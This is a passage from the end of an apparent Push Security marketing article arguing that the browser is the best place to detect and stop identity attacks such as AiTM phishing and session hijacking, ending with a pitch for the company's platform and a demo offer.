hash) What scripts are running And where credentials are being sent Conclusion Identity attacks are the biggest unsolved problem facing security teams today and the leading cause of security breaches. At the same time, the browser presents security teams with all the tools they need to prevent, detect, and respond to identity-based attacks — proactively by finding and fixing identity vulnerabilities, and reactively by detecting and blocking attacks against users in real time. Organizations need to move past the old ways of doing identity security — relying on MFA attestations, identity management dashboards, and legacy email and network anti-phishing tools. And there’s no better place to stop these attacks than in the browser. Find out more Push Security’s browser-based security platform provides comprehensive detection and response capabilities against the leading cause of breaches. Push blocks identity attacks like AiTM phishing, credential stuffing, password spraying and session hijacking using stolen session tokens. You can also use Push to find and fix identity vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, risky OAuth integrations, and more. If you want to learn more about how Push helps you to detect and stop attacks in the browser, book some time with one of our team for a live demo.